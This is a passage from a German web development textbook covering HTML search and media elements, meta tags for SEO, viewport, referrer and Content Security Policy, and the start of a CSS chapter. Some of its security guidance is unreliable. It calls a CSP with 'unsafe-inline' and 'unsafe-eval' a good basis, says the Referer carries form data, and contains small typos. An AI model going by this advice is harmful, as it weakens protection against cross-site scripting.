            Ähnlich wie mit <dialog> wird zur semantischen Kennzeichnung von Suchformularen in Websites auf ein dafür vorgesehenes Tag zurückgegriffen: <search>. Natürlich ist uns klar, dass ein HTML-Tag allein noch lange keine neue Funktionalität mit sich bringt. Darum geht es uns in HTML auch nicht, denn Funktionalität ist eine Aufgabe für JavaScript. In HTML dreht sich alles um die korrekte Beschreibung von Inhalten – also um deren Semantik. Und um genau ein solches Tag handelt es sich auch bei <search>: Es soll kennzeichnen, dass das sich darin befindliche Formular ein Formular ist, über das eine Suche (von irgendetwas) initiiert werden kann – nicht mehr und nicht weniger:

            <search>
    <form>
        <label>
            Bitte geben Sie eine Artikelnummer ein:
            <input type="search" name="ArtNo">
        </label>
        <input type="submit" value="suchen">
    </form>
</search>


            Natürlich hätten wir rund um das <form> auch ein <div> stülpen können (oder ein beliebiges anderes geeignetes Element), nur hätte das in Hinblick auf die Kennzeichnung, wofür das Formular eingesetzt wird, keinen Unterschied gemacht.

        
        
            5.9.10    Übung: Ein exemplarisches Formularbeispiel

            Erzeugen Sie ein Formular, das in zwei Abschnitte gegliedert ist: Pflichtangaben und freiwillige Angaben. In den Pflichtangaben sollen folgende Eingaben erfolgen:

            
                	
                    E-Mail-Adresse

                

                	
                    Passwort

                

                	
                    Passwort wiederholen

                

            

            Die freiwilligen Angaben umfassen Folgendes:

            
                	
                    Anrede (Frau, Herr)

                

                	
                    Vorname

                

                	
                    Nachname

                

                	
                    Adresse

                

                	
                    PLZ

                

                	
                    Ort

                

                	
                    Staat (Auswahl: Österreich, Deutschland, Schweiz, Italien, Spanien)

                

                	
                    Geburtsdatum

                

                	
                    Lieblingsfarbe

                

            

            Beschriften Sie alle Felder mit geeigneten Benennungen, versuchen Sie, so gut wie möglich HTML5-Elemente zu verwenden (recherchieren Sie gegebenenfalls nach geeigneten Elementen bei w3schools.com), und schicken Sie das Formular mittels GET ab (überprüfen Sie hierbei die Eingaben).

            Erweitern Sie danach dieses Formular um einen weiteren Abschnitt, in dem der User eine Auswahl unter Zielländern treffen kann, in die er gerne reisen möchte. Diese Auswahl soll mithilfe von Checkboxen realisiert werden. Außerdem soll der User eine Nachricht (einen längeren Text) hinterlassen können.

            Die Lösung hierzu finden Sie im Downloadbereich zum Buch.

        
    


                    
                        
        5.10    Multimedia mit Audio, Video & Co.

        Neben den obig genannten Tags existiert eine Reihe weiterer HTML-Tags, wie etwa audio, video und canvas. Jedoch lassen sich diese sinnvoll nur über ihre zugehörige JavaScript-API verwenden. Deswegen gehe ich nur kurz auf diese Tags ein. Es sei auch gleich auf Abschnitt 7.14, »Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API«, verwiesen, in dem ich beispielhaft auf diese APIs eingehen werde.

        
            [Info]  Was ist eine API?

            Die Abkürzung API steht für Application Programming Interface. Ein solches Interface dient dazu, die Elemente mithilfe einer externen Technologie zu steuern – etwa mit JavaScript.

        

        
            5.10.1    Das bewegte Bild: Video-Einbettung

            Das video-Tag dient zur Einbettung von Videodateien des Formats MP4 und wird wie folgt verwendet:

            <video>
    <source src="{URL zur Videodatei}" type="video/mp4">
    Alternativtext
</video>


            Für die Steuerung der Videodatei sind Kontrollelemente vonnöten, die über ein Attribut controls des video-Tags dargestellt werden können:

            <video controls>
    <source src="{URL zur Videodatei}" type="video/mp4">
    Alternativtext
</video>


            
                [»]  MP4 oder doch auch andere Formate?

                Früher war es möglich (und sinnvoll, da unterschiedliche Browser unterschiedliche Formate einsetzten), andere Formate als das MP4-Containerformat einzubetten, Mittlerweile hat man sich auf MP4 geeinigt. Ogg und WebM als Formate sind zwar noch möglich, werden aber so gut wie nicht mehr verwendet.

            

            Weitere Attribute des video-Tags sind:

            
                	
                    autoplay: Gibt an, dass das Video sofort nach dem Laden der Videodatei gestartet wird.

                

                	
                    controls: siehe oben

                

                	
                    loop: Gibt an, dass das Video in einer Schleife abgespielt werden soll.

                

                	
                    muted: Gibt an, dass das Video ohne Ton abgespielt werden soll.

                

                	
                    poster: Gibt die URL zu einer Bilddatei an, die so lange dargestellt wird, wie das Video nicht abgespielt wird.

                

            

            Ein Video, das die Kontrollinstrumente darstellt, automatisch und ohne Ton gestartet wird sowie in einer Schleife abgespielt wird, würde demnach wie folgt eingebettet werden:

            <video controls autoplay muted loop>
    <source src="video/abc.mp4" type="video/mp4">
</video>


            Bitte beachten Sie für die Erstellung des MP4-Videocontainers Folgendes:

            
                	
                    Die Videospur muss mit dem Codec h.264 codiert werden

                

                	
                    Die Audiospur muss mit dem Codec AAC (alternativ: MP3) codiert werden.

                

            

        
        
            5.10.2    Das gesprochene Wort: Audio-Einbettung

            Die Einbettung von Audio-Dateien erfolgt ähnlich wie im Fall von Video-Daten, außerdem existieren bis auf das poster-Attribut dieselben Attribute:

            <audio controls>
    <source src="{URL zur Audiodatei}" type="video/mp3">
    Alternativtext
</audio>


            Bitte beachten Sie, dass das audio-Tag (bevorzugt) MP3-Dateien abspielt. Dieses Containerformat ist das einzige Format, das von allen gängigen Browsern unterstützt wird. Alternativ können Sie auch folgende Formate verwenden:

            
                	
                    WAV: Dieses Format wird vom Internet Explorer / Edge nicht unterstützt.

                

                	
                    OGG: Dieses Format wird vom Internet Explorer / Edge sowie von Safari nicht unterstützt.

                

            

            Sie können eine Quelle übrigens nicht nur mit dem source-Tag einbetten, sondern auch das src-Attribut des audio-Tags verwenden:

            <audio controls src="{URL zur Audiodatei}"></audio>


        
    


                    
                        
        5.11    Meta-Informationen sind der Mehrwert von Websites

        Abschließend seien noch die Meta-Informationen von Websites erwähnt, die – neben anderen Aufgaben – einen Einstiegspunkt in die Suchmaschinen-Optimierung (SEO) liefern (können). Meta-Tags sind, wie der Name schon sagt, optionale Zusatzinformationen. Ein sehr prominenter Vertreter ist das meta-Tag zur Angabe des verwendeten Zeichensatzes:

        <meta charset="utf-8">


        Neben diesem Tag existiert eine Reihe weiterer Tags, die über folgende Attribute dargestellt werden:

        
            	
                charset: siehe oben

            

            	
                name: Benennt den darzustellenden Meta-Inhalt über folgende Möglichkeiten (die grau dargestellten Varianten sind eher zu vernachlässigen; eine vollständige Auflistung aller Namen finden Sie unter https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name):

                
                    	
                        Standard:

                        
                            	
                                application-name: der Name der im Browser dargestellten Applikation

                            

                            	
                                author: der Autor der Site

                            

                            	
                                description: die Beschreibung der Site

                            

                            	
                                generator: die verwendete Software, mit der die Site erstellt wurde

                            

                            	
                                keywords: Schlagwörter zum (aktuell) dargestellten Inhalt

                            

                            	
                                referrer: Kontrolliert den vom Client an den Server geschickten HTTP-Referer.

                            

                            	
                                theme-color: Empfehlung an das umgebende System, welche Umgebungsfarbe während der Darstellung des Dokuments verwendet werden soll, wobei die CSS-Farbe im content angegeben wird.

                            

                            	
                                color-scheme: Empfehlung an das umgebende System, welches Farbschema für Elemente, Vordergrund und Hintergrund eingesetzt werden soll. Typischerweise wird hier auf einen Light- bzw. Dark-Mode verwiesen.

                            

                        

                    

                    	
                        Erweiterte bzw. nicht HTML-konforme Spezifikationen:

                        
                            	
                                viewport

                            

                        

                    

                    	
                        Weitere:

                        
                            	
                                creator: Erzeuger des Dokuments (typischerweise der Name des Unternehmens); kann sich vom author unterscheiden.

                            

                            	
                                googlebot: Synonym für robots, wird jedoch nur von Google ausgewertet; siehe Abschnitt 5.11.3.

                            

                            	
                                publisher: Name desjenigen, der das Dokument veröffentlicht hat; kann sich vom author unterscheiden.

                            

                            	
                                robots: siehe Abschnitt 5.11.3

                            

                        

                    

                

            

            	
                content: Stellt den eigentlichen Wert des Meta-Tags dar, das über den Namen oder das HTTP-Äquivalent eingeleitet wird.

            

            	
                http-equiv: Verweist auf (äquivalente) Informationen des HTTP-Headers.

            

        

        Der Grundaufbau der Meta-Tags ist im Wesentlichen über alle Variationen gleich:

        <meta name="{siehe Liste oben}" content="...">


        oder:

        <meta http-equiv="..." content="...">


        Die Liste an Meta-Tags ist somit lang, jedoch müssen nicht alle auch in eine Site integriert werden. Die sinnvollen Meta-Tags beschreibe ich im folgenden Abschnitt.

        
            5.11.1    Wofür, weshalb und von wem? Beschreibende Meta-Tags

            Unter die beschreibenden Meta-Tags fallen diejenigen, mit denen Sie die Inhaltsbeschreibung der Site, Keywords, den Autor und das Copyright angeben können:

            <meta name="description" content="Beschreibung des aktuell dargestellten Inhalts">
<meta name="keywords" content="Schlagworte zum aktuell dargestellten Inhalt">
<meta name="author" content="Name des Entwicklers der Site">
<meta name="copyright" content="Copyright-Angabe">


            Außerdem zählen dazu:

            <meta name="creator" content="Name des Unternehmens">
<meta name="publisher" content="Name des Veröffentlichers des Inhalts">


            Im vorangegangenen Code habe ich mehrfach auf den »aktuell dargestellten Inhalt« verwiesen. Weil die Meta-Tags dokumentspezifisch sind (also in einem jeden HTML-Dokument platziert werden) und sich von Dokument zu Dokument der dargestellte Inhalt ändert (beispielsweise kontakt.html, ueberuns.html etc.), sollten auch die Meta-Informationen an die Inhalte angepasst werden. Somit gilt: Die beschreibenden Meta-Informationen gelten nicht Website-weit, sondern dokumentweit.

            Beispiel:

            <meta name="description" content="SYNE Online Media Agentur. Die Online-Agentur mit dem Fokus auf Innovation und durchdachte Entwicklung von Websites, Apps und Online-Systemen">
<meta name="keywords" content="Werbeagentur, Online Media Agentur, Websites, App-Entwicklung, Programmierung, Usability, Linz, Österreich">
<meta name="author" content="Uwe Mutz">
<meta name="copyright" content="Copyright 2024 by SYNE Marketing & Consulting GmbH">
<meta name="creator" content="SYNE Marketing & Consulting GmbH">
<meta name="publisher" content="Uwe Mutz">


        
        
            5.11.2    Ein paar Angaben zur Site-Darstellung

            Da Websites auf beliebigen Ausgabegeräten mit teils sehr unterschiedlichen Darstellungsmöglichkeiten ausgegeben werden sollen, müssen Sie auf diese Gegebenheiten (Displaygröße, Device-Pixel-Ratio etc.) entsprechend Rücksicht nehmen. Als federführend darf hier die Firma Apple genannt werden, die mit Einzug ihres Retina-Displays die Verwendung eines zusätzlichen Meta-Tags namens viewport vorgeschlagen hatte, um eine Skalierung der Website auf die Größe des im Browser darstellbaren Bereichs zu erzwingen. Mithilfe folgender Werte können Sie auf die Display-Variationen eingehen, wobei die Angaben aus Tabelle 5.11 im content-Attribut des meta-Tags in Form einer kommagetrennten Liste angegeben werden.

            
                
                    
                        	
                            Wert

                        
                        	
                            Mögliche Werte

                        
                        	
                            Beschreibung

                        
                    

                
                
                    
                        	
                            width

                        
                        	
                            Eine Ganzzahl oder der Wert device-width

                        
                        	
                            Gibt die Breite an, auf die die Website gerendert werden soll.

                        
                    

                    
                        	
                            height

                        
                        	
                            Eine Ganzzahl oder der Wert device-height

                        
                        	
                            (sinngemäß für die Höhe)

                        
                    

                    
                        	
                            initial-scale

                        
                        	
                            Eine Zahl zwischen 0.0 und 10.0

                        
                        	
                            Gibt das (Skalierungs-)Verhältnis zwischen dem Gerät (device-width für Querformat bzw. device-height für Hochformat) und der Viewport-Größe an.

                        
                    

                    
                        	
                            maximum-scale

                        
                        	
                            Eine Zahl zwischen 0.0 und 10.0

                        
                        	
                            Definiert den maximalen Zoom-Level. Dieser muss größer-gleich dem minimalen Zoom-Level sein. Sowohl der minimale als auch der maximale Zoom-Level sowie auch das user-scalable können vom Browser ignoriert werden; beispielsweise wird die Einstellung in iOS 10+ per Default ignoriert.

                        
                    

                    
                        	
                            minimum-scale

                        
                        	
                        	
                            Definiert den minimalen Zoom-Level. Dieser muss kleiner-gleich dem maximalen Zoom-Level sein.

                        
                    

                    
                        	
                            user-scalable

                        
                        	
                            yes | no

                        
                        	
                            Definiert, ob der User die Site zoomen kann.

                        
                    

                    
                        	
                            viewport-fit

                        
                        	
                            auto | contain | cover

                        
                        	
                            Definiert, auf welche Art und Weise der Browser die Website in den darstellbaren Bereich einpasst: auto fordert keine Veränderungen; contain definiert, dass die gesamte Seite sichtbar sein muss, und cover schneidet gegebenenfalls Bereiche ab (nicht empfehlenswert).

                        
                    

                
            

            Tabelle 5.11    
            Mögliche Werte zu den Viewport-Angaben

            Eine typische Angabe für das viewport-Meta-Tag wäre etwa:

            <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0">


            Man sollte auf eine Skalierung der Site verzichten, da einerseits mehrere Browser (bzw. Betriebssysteme) diese Einstellung ignorieren und andererseits der User ansonsten zu einer ungewollten Darstellung der Site kommt.

        
        
            5.11.3    Ein paar Anweisungen für Suchmaschinen

            Die Meta-Angaben zu den Suchmaschinen (im Konkreten zu den Crawlern) betreffen in erster Linie die Robots-Angaben: <meta name="robots" content="...">. Folgende Angaben sind möglich, wobei folgende Begriffe verwendet werden:

            
                	
                    Indizierung (index): Analysiert den Inhalt des Dokuments und speichert die Ergebnisse der Analyse in die Datenbank der Suchmaschine. Dies betrifft insbesondere die Keywords, den Titel, den Inhalt sowie den strukturellen Aufbau. Der Index ist demnach das Verzeichnis, in dem eine Suchmaschine nach Suchkriterien Ausschau hält.

                

                	
                    Verfolgung (follow) der Links: Gibt an, ob die Suchmaschine den im Dokument verwendeten Links folgen darf, um auch die Folgeseiten indizieren zu können.

                

            

            Die Angaben aus Tabelle 5.12 werden im content-Attribut des meta-Tags in Form einer kommagetrennten Liste angegeben.

            
                
                    
                        	
                            Wert

                        
                        	
                            Beschreibung

                        
                        	
                            Verwendet von folgenden Suchmaschinen

                        
                    

                
                
                    
                        	
                            index

                        
                        	
                            Erlaubt eine Indizierung (Standardwert).

                        
                        	
                            alle

                        
                    

                    
                        	
                            noindex

                        
                        	
                            Erlaubt keine Indizierung.

                        
                        	
                            alle

                        
                    

                    
                        	
                            follow

                        
                        	
                            Erlaubt eine Nachverfolgung der Links (Standardwert).

                        
                        	
                            alle

                        
                    

                    
                        	
                            nofollow

                        
                        	
                            Erlaubt keine Nachverfolgung der Links.

                        
                        	
                            alle

                        
                    

                    
                        	
                            all

                        
                        	
                            Kurzschreibweise für index, follow

                        
                        	
                            Google

                        
                    

                    
                        	
                            none

                        
                        	
                            Kurzschreibweise für noindex, nofollow

                        
                        	
                            Google

                        
                    

                    
                        	
                            noarchive

                        
                        	
                            Fordert die Suchmaschine auf, die Seite nicht zu cachen.

                        
                        	
                            Google, Bing, Yahoo

                        
                    

                    
                        	
                            nosnippet

                        
                        	
                            Verhindert, dass eine Beschreibung der Seite in den Suchmaschinenergebnissen dargestellt wird.

                        
                        	
                            Google, Bing

                        
                    

                    
                        	
                            noimageindex

                        
                        	
                            Fordert die Suchmaschine auf, nicht als Quelle für etwaig gefundene Bilder dargestellt zu werden.

                        
                        	
                            Google

                        
                    

                    
                        	
                            nocache

                        
                        	
                            Synonym für noarchive

                        
                        	
                            Bing

                        
                    

                
            

            Tabelle 5.12    
            Angaben für Suchmaschinen

            Eine typische Angabe für Websites, die durchsucht werden sollen, wäre demnach:

            <meta name="robots" content="index, follow, noarchive">


        
        
            5.11.4    Ein paar Angaben zur Content Security Policy und zum Referer

            Sowohl die Angaben zur Content Security Policy auch zum Referer werden in Zeiten zunehmender Hacker-Angriffe und Security-Probleme immer wichtiger. Beispielsweise gehen Provider vermehrt dazu über, nur noch Informationen von Websites entgegenzunehmen, die von ihnen selbst gehostet werden.

            Um derartige Requests an den Server des Providers entsprechend kennzeichnen zu können, muss der Client die benötigten Informationen an den Server senden: Dies geschieht über den (HTTP-)Referer, denn dieser beinhaltet entweder die gesamte Adresse der Seite, die den Request an den Server startet, oder einen Teil davon. Weiters können über den Referer Formulardaten (Parameter) in Form eines Querystrings (Variablen-Werte-Paar in der Form variable1=wert1&variable2=wert2&...) an den Server (Empfänger) übermittelt werden.

            
                Der HTTP-Referer

                Kommen wir zunächst zum Referer. Dieser wird mit der Meta-Angabe <meta name="referrer" content="..."> integriert. Bevor ich auf Details eingehe, sehen Sie hier noch ein paar Beispiele für Quelladressen:

                
                    	
                        Same Origin:

                        
                            	
                                http://example.com/app1/index.html vs. http://example.com/app2/index.html → Dieselbe Quelle (Origin), da das Schema (Protokoll) und der Host (Domain) identisch sind.

                            

                            	
                                http://Example.com:80 vs. http://example.com → Dieselbe Origin, da der Standardport für HTTP der Port 80 ist und Groß- und Kleinschreibung keine Rolle spielt.

                            

                        

                    

                    	
                        Different Origin:

                        
                            	
                                http://example.com/app1 vs. https://example.com/app2 → Unterschiedliche Protokolle, also nicht dieselbe Origin.

                            

                            	
                                http://example.com vs. http://www.example.com vs. http://myapp.example.com → Unterschiedliche Hosts, also nicht dieselbe Origin.

                            

                            	
                                http://example.com vs. http://example.com:8080 → Unterschiedliche Ports, also nicht dieselbe Origin.

                            

                        

                    

                

                Folgende Angaben sind möglich:

                
                    
                        
                            	
                                Wert

                            
                            	
                                Beschreibung

                            
                        

                    
                    
                        
                            	
                                no-referrer

                            
                            	
                                Es wird kein HTTP-Referer gesendet.

                            
                        

                        
                            	
                                origin

                            
                            	
                                Sendet die Quelladresse (Origin) inklusive Schema (= verwendetes Protokoll), Host (= Domain) und Port.

                            
                        

                        
                            	
                                no-referrer-when-downgrade (Standard)

                            
                            	
                                Wenn ein Wechsel von HTTPS auf HTTP erfolgt, wird kein Referer gesendet.

                            
                        

                        
                            	
                                origin-when-cross-origin

                            
                            	
                                Wenn ein Request auf dieselbe Domain erfolgt, dann wird die vollständige URL (jedoch ohne zusätzlichen Parameter) gesendet; wird hingegen eine andere Domain angefragt, so wird lediglich die Quelladresse gesendet.

                            
                        

                        
                            	
                                same-origin

                            
                            	
                                Der Referer wird nur dann in den Request integriert, wenn ein solcher auf dieselbe Quelladresse erfolgt.

                            
                        

                        
                            	
                                strict-origin

                            
                            	
                                Sende den Referer nur dann, wenn das Ziel (der Server) zumindest gleich sicher ist wie die Quelle (also das Dokument, das den Request abschickt).

                            
                        

                        
                            	
                                strict-origin-when-cross-origin

                            
                            	
                                Sende die vollständige URL (ohne Parameter) für same-origin Requests; sende die Origin, wenn das Ziel zumindest so sicher ist wie die Quelle; ansonsten sende keinen Referer.

                            
                        

                        
                            	
                                unsafe-URL

                            
                            	
                                Sende die vollständige URL (ohne Parameter) für sowohl same-origin als auch cross-origin Requests.

                            
                        

                    
                

                Tabelle 5.13    
            Mögliche Varianten für das Versenden des Referers

                
                    [»]  Widersprüchliche Referer-Angaben

                    Sollten sich (beispielsweise durch dynamisches Erzeugen von Referer-Meta-Angaben) widersprüchliche Referer-Angaben ergeben, so gilt no-referrer.

                

                In aller Regel sollten Sie Requests nur an bekannte Server versenden, und hier sogar nur an dieselbe Origin. Grundsätzlich spricht nichts gegen das Versenden des Referers, solange Sie dem Ziel vertrauen (also dem Server, an den der Request gesendet wird). Sollte dem nicht so sein, so sollten Sie zumindest darauf achten, dass die Sicherheit der Datenübertragung mindestens so gut ist wie diejenige, mit der die Seite im Browser angezeigt wird (no-referrer-when-downgrade).

                Diese Vorgehensweise nennt man Same-origin Policy. Sie ist insbesondere dann von Vorteil, wenn man von externen Seiten Scriptcode übermittelt bekommen würde, der dann als Teil der eigenen Seite ausgeführt wird. Hier besteht die Gefahr des sogenannten Cross-Site Scriptings (XSS, siehe Abschnitt 13.1), eine der größten Sicherheitssorgen in Bezug auf Websites. Aus diesem Grund wird angeraten, das meta-Tag wie folgt einzusetzen:

                <meta name="referrer" content="same-origin">


                Dies hilft Ihnen, konsequenter auf korrekte Requests zu achten.

            
            
                Content Security Policy (CSP)

                Lassen Sie uns die Thematik noch ein wenig verfeinern: Sie können für die unterschiedlichen Content-Typen HTML, Style-, Script- und Medieninformationen explizit definieren, von welchen Quellen sie geladen werden dürfen. Das nennt man Content Security Policy. Sie dient also dazu, das Laden externer Quellen so weit einzuschränken, dass eine Attacke auf die eigene Seite (beispielsweise durch Cross-Site Scripting) so gut wie unmöglich gemacht wird.

                
                    [image: Die Antwortkopfzeilen eines Servers nach einer Anfrage]

                    Abbildung 5.41    
            Die Antwortkopfzeilen eines Servers nach einer Anfrage

                
                Da wie erwähnt jede Website auch von gewissen Security-Problemen (wie etwa Cross-Site-Scripting (XSS) oder Data-Injection) betroffen ist, sollte die Angabe einer Content Security Policy (CSP) erfolgen. Sie legt fest, von welchen Quellen folgende Daten geladen werden dürfen:

                
                    	
                        allgemeine Daten (»Voreinstellung«): alle Daten

                    

                    	
                        Scripts: JavaScript o. Ä.

                    

                    	
                        Style: CSS o. Ä.

                    

                    	
                        Medien: Bilder, Videos, Audiodaten etc.

                    

                

                Abbildung 5.41 zeigt ein Beispiel. Eine vollständige Auflistung der Möglichkeiten finden Sie etwa unter https://wiki.selfhtml.org/wiki/Sicherheit/Content_Security_Policy.

                Damit eine solche Überprüfung von Datenquellen erfolgen kann, muss der kontaktierte Server selbstverständlich ebenfalls mitspielen, was jedoch bei den üblichen Providern gegeben ist.

                
                    [»]  Antwortkopfzeilen darstellen

                    Die Antwortkopfzeilen im HTTP-Header eines Servers können Sie über die Entwicklerkonsole einsehen; typischerweise wird diese über die Taste (F12) in einem Browser eingeblendet.

                

                Die Angabe selbst erfolgt über ein Meta-Tag namens Content-Security-Policy:

                <meta http-equiv="Content-Security-Policy" content="...">


                Um nun zunächst einmal die Vorgaben für alle Daten festzulegen, gibt es die Eigenschaft default-scr:

                <meta http-equiv="Content-Security-Policy" content="default-src 'self' ↩ https:;">


                Zur Erklärung (bitte beachten Sie die Anführungszeichen bei 'self' sowie den Doppelpunkt nach https):

                
                    	
                        'self' gibt an, dass Daten von der Speicherquelle der Website/App geladen werden dürfen. → Dies ist normalerweise der Fall.

                    

                    	
                        https: gibt an, dass Daten von entfernten Quellen ausschließlich per HTTPS geladen werden dürfen.

                    

                

                Alle diese Angaben sind optional, jedoch sinnvoll. Nachdem Sie die Standardeinstellungen für alle Daten festgelegt haben, gehen Sie weiter ins Detail für Scripts, Style-Daten, Medien usw. Eine gute Basis für eine CSP wäre etwa:

                <meta
    http-equiv="Content-Security-Policy"
    content="
        default-src 'self' https:;
        script-src 'self' 'unsafe-inline' 'unsafe-eval' *.google.com https:;
        style-src 'self' *.google.com 'unsafe-inline' https:;
        media-src 'self' https:;
        img-src 'self' data: https:
    "
>


                Auffällig hierbei sind noch ein paar weitere Angaben:

                
                    	
                        *.google.com gibt an, dass Daten von der Domain google.com sowie allen Sub-Domains geladen werden dürfen. → Dies wird insbesondere dann notwendig, wenn Sie beispielsweise Schriften (style-src) von Google laden oder etwa die Google Maps-API (script-src) integrieren.

                    

                    	
                        'unsafe-inline' gibt an, dass Inline-Code (Inline-CSS/Inline-JS) verwendet werden darf. → Entsprechender Code darf sich also innerhalb eines style-Attributs oder eines Eventhandler-Attributs (wie etwa onclick, onmouseover etc.) befinden.

                    

                    	
                        'unsafe-eval' gibt an, dass JavaScript-Code mit der (unsicheren) eval-Methode ausgeführt werden darf. → An dieser Stelle sollten Sie sich bewusst sein, dass über diese Methode jeglicher JavaScript-Code ausgeführt werden darf, der in Textform vorliegt. Gehen Sie deshalb behutsam mit dieser Angabe um.

                    

                    	
                        data: gibt an, dass Bilddaten nicht nur als Dateien, sondern auch als sogenannte Base64-codierte Informationen vorliegen dürfen – mehr dazu in Abschnitt 8.7 über Responsive Webdesign und Performance.

                    

                

                Bitte beachten Sie: Falls Sie einen (zwischenzeitlichen) Testserver einsetzen, müssen Sie die URL zu diesem Server ebenfalls in die Content Security Policy einbeziehen, da die CSP nicht nur auf Websites, sondern ganz allgemein auf den Datenfluss im Internet bezogen ist (also insbesondere für den Fall von Websites).

            
        
    


                    
                        6    CSS – Formatierung rulez
Endlich sind wir bei der Formatierung angelangt! Mit HTML haben wir den Grundstein für eine gute Website gelegt – nun gilt es, diese nach allen Regeln der Kunst in Form zu bringen.
CSS stellt eine sogenannte Formatierungssprache dar, die in aller Regel für sämtliche Auszeichnungssprachen (wie eben auch HTML eine solche ist) eingesetzt werden kann. Mithilfe von CSS wird es im Rahmen von Websites möglich, dem HTML-Code ein Design überzustülpen, wobei »überstülpen« ein sehr treffender Begriff ist, denn CSS ist unabhängig von HTML zu betrachten. Außerdem wird es mit CSS möglich werden, basierend auf ein und demselben HTML-Code sehr unterschiedliche Darstellungen (Designs) zu kreieren. Ein sehr altes, aber immer noch aktuelles Experiment namens »CSS Zen Garden« (http://www.csszengarden.com) stellt dies nach wie vor unter Beweis: Im Rahmen dieses Experiments wird ein HTML-Code vorgegeben und die Aufgabe ist es, ein individuelles Design mit CSS zu kreieren. Wie unterschiedlich die Ergebnisse sein können, wird an dieser Stelle mehr als deutlich.
CSS ist die vom W3-Konsortium zum Standard ernannte Formatierungssprache, die in HTML-Dokumenten zum Einsatz kommen soll. Nichtsdestotrotz stellt CSS nur eine von mehreren Formatierungssprachen dar, die zum Einsatz kommen könnten – HTML-Code könnte an sich von einer jeden beliebigen Formatierungssprache formatiert werden, sofern der Browser diese Formatierungssprache unterstützt. Damit ist man auch an dem Punkt angelangt, an den man möchte: Eine Formatierungssprache mag noch so gut, effizient, elegant etc. sein – wenn ein Browser diese nicht unterstützt (also nicht verarbeiten kann), so kann und soll sie nicht zum Einsatz kommen. Im Falle von CSS kann man davon ausgehen, dass gängige Browser diese Sprache unterstützen, weshalb CSS für uns im Webbereich die – mehr oder weniger – einzige Wahl ist.

        [Info]  CSS ist eine deklarative Sprache

        Man spricht im Falle von CSS von einer deklarativen Sprache. Die wesentliche Eigenschaft derartiger Sprachen ist, dass man vorgibt, wie das Ergebnis aussehen soll, und es dem darstellenden System (in unserem Fall dem Browser) überlässt, was er anstellen muss, um zu diesem Ergebnis zu gelangen.

    

        6.1    Die drei Säulen von CSS

        Der Begriff Cascading Stylesheets verweist bereits auf eine der wesentlichen Säulen von CSS: die Kaskadierung. Neben dieser stellen die Spezifität und die Vererbung die drei Grundfesten von CSS dar:

        
            	
                Kaskade: Unter der Kaskade versteht man, vereinfacht gesprochen, das Konzept, dass die Wertigkeit einer Regel davon abhängt, woher sie stammt. Genauer gesagt spielen die (in Abschnitt 6.2 behandelten) Stylesheets hier die entscheidende Rolle. Werden (Formatierungs-)Regeln auf unterschiedlichen Stylesheets definiert, so zählt die Wichtigkeit der betroffenen Stylesheets. Das heißt, erst, wenn zwei Regeln auf derselben Stylesheet-Ebene definiert werden, zählt die Reihenfolge: Die zuletzt geschriebene Regel gewinnt (bei identischer Spezifität).

            

            	
                Spezifität: Die Spezifität beschreibt die Wichtigkeit einer Regel (wie spezifisch diese für das formatierende Element ist). Wie Spezifitäten berechnet werden, lernen Sie in Abschnitt 6.5.

            

            	
                Vererbung: Die Vererbung stellt schlussendlich das Prinzip dar, wie Eigenschaften von übergeordneten (Eltern-)Elementen auf untergeordnete (Kind-)Elemente übertragen werden. Beispielsweise wird für das body-Element gern eine Schrift definiert, die selbstverständlich in weiterer Folge auch von (fast) allen anderen HTML-Elementen (Absätzen, Tabellen, Listen etc.) übernommen werden soll. Nicht übernommen werden soll hingegen beispielsweise ein Rahmen, der um ein Element gezogen wird – die Kinder dieses Elements sollen nicht auch automatisch einen Rahmen bekommen, nur weil das Elternelement einen solchen besitzt. Die Vererbung beschreibe ich in Abschnitt 6.6.

            

        

    


                    
                        
        6.2    Die Stylesheets – so geht der Browser vor

        Hat ein Browser einmal von einem Server (oder auf eine andere Art und Weise) einen HTML-Code bereitgestellt bekommen und diesen so weit interpretiert, kommt die nächste Aufgabe auf ihn zu: die Formatierung. Der Vorgang nach dem Laden eines HTML-Dokumentes ist wie folgt:

        
            	
                Der Browser lädt den HTML-Code.

            

            	
                Er wandelt den HTML-Code in ein DOM (Document Object Model) um. Das DOM repräsentiert das Dokument im Speicher des Computers.

            

            	
                Der Browser ruft dann die meisten Ressourcen ab, mit denen das HTML-Dokument verknüpft ist (eingebettete Bilder, Videos etc.), wie auch verknüpftes CSS (z. B. in Form von externen Dateien oder eingebettetem Code).

            

            	
                Der Browser analysiert das abgerufene CSS und sortiert die verschiedenen Regeln nach ihren Selektortypen in verschiedene sogenannte Buckets ein (Tag-, Klassen-, ID-Regeln etc.). Basierend auf den gefundenen Selektoren ermittelt er welche Regeln auf welche Knoten im DOM angewendet werden sollen, und fügt ihnen nach Bedarf einen Stil hinzu. (Dieser Zwischenschritt wird als Renderbaum bezeichnet.) Details hierzu folgen in Abschnitt 6.21, »Advanced Stuff: CSSOM«.

            

            	
                Der Renderbaum wird in der Struktur angelegt, in der er erscheinen sollte, nachdem die Regeln auf sie angewendet wurden.

            

            	
                Die visuelle Darstellung der Seite wird auf dem Bildschirm angezeigt. (Dieser Schritt besteht aus mehreren Schritten: Layouting und Painting.)

            

        

        
            [image: Der Darstellungsvorgang einer Website in Hinblick auf CSS (für die vorangehenden Schritte siehe )]

            Abbildung 6.1    
            Der Darstellungsvorgang einer Website in Hinblick auf CSS (für die vorangehenden Schritte siehe Abschnitt 3.4)

        
        Bis die finale Darstellung der Website tatsächlich erfolgt (siehe Abbildung 6.1), sind für den Browser neben der Sammlung von Formatierungsregeln jedoch auch noch die unterschiedlichen Ebenen der Formatierung wichtig. Insgesamt hat man es mit sechs (acht) unterschiedlichen Ebenen zu tun, wobei Regeln einer folgenden Ebene sämtliche Regeln der vorangegangenen Ebenen übertrumpfen, sollten sie sich überschneiden. Man darf sich das wie einen Ablauf vorstellen, in dem Runde für Runde Regeln ausgesiebt werden. Wird in einer darauffolgenden Runde eine Regel gefunden, die gleich lautet wie eine Regel aus einer vorangegangenen Runde, so ersetzt die neue Regel die alte Regel.

        Sehen wir uns nun diese acht Ebenen an.

        
            	
                Browser Stylesheet (User Agent Stylesheet): Das ist die Formatierung durch den Browser selbst.
